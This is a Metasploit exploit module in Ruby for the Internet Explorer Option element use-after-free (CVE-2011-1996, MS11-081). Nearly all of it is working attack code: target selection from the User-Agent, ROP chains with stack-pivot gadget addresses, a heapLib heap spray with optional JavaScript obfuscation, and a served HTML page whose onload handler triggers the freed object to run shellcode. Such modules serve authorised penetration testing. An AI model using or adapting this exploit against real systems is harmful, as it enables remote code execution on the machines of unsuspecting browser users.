##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer Option Element Use-After-Free",
'Description' => %q{
This module exploits a vulnerability in Microsoft Internet Explorer. A memory
corruption may occur when the Option cache isn't updated properly, which allows
other JavaScript methods to access a deleted Option element, and results in code
execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ivan Fratric', #Initial discovery
'juan vazquez', #Metasploit
'sinn3r' #Metasploit
],
'References' =>
[
[ 'CVE', '2011-1996' ],
[ 'MSB', 'MS11-081' ],
[ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ],
[ 'URL', 'http://pastebin.com/YLH725Aj' ]
],
'Payload' =>
{
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ]
],
'Privileged' => false,
'DisclosureDate' => "Oct 11 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
js = %Q|
function heap_spray() {
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
}
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
@heap_spray_func = js.sym("heap_spray")
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
rop_payload << "\xeb\x04" # jmp $+6
rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret
rop_payload << code
else
print_status("Using JRE ROP")
rop_payload = generate_rop_payload('java', '')
rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)
rop_payload << "\xeb\x08" # jmp $+10
rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret
rop_payload << code
end
return rop_payload
end
def load_exploit_html(my_target, cli)
@heap_spray_func = "heap_spray"
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
#var fakeobj = unescape("%u0c0c%u0c0c");
#call to 0c0c0c0c
#eax ==> 0c0c0a14
html = %Q|
<!DOCTYPE html>
<html>
<head>
<script>
#{js}
function ivan()
{
var fakeobj = unescape("%u0a14%u0c0c");
fakeobj += unescape("%u4141%u4141");
while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141");
var formobj, selobj, optobj;
selobj = document.getElementById("select1");
formobj = selobj.form;
var imgarray = new Array();
for(var j = 0; j < 500; j++) {
imgarray.push(document.createElement("img"));
}
for(var i=0;i<5;i++) {
optobj = document.createElement('option');
optobj.text = "test";
selobj.add(optobj);
}
selobj.innerText = "foo";
for(var i = 0; i < imgarray.length; i++) {
imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1);
}
#{@heap_spray_func}();
formobj.reset();
}
</script>
</head>
<body onload='ivan()'>
<form method="post">
<select id="select1">
</select>
</form>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
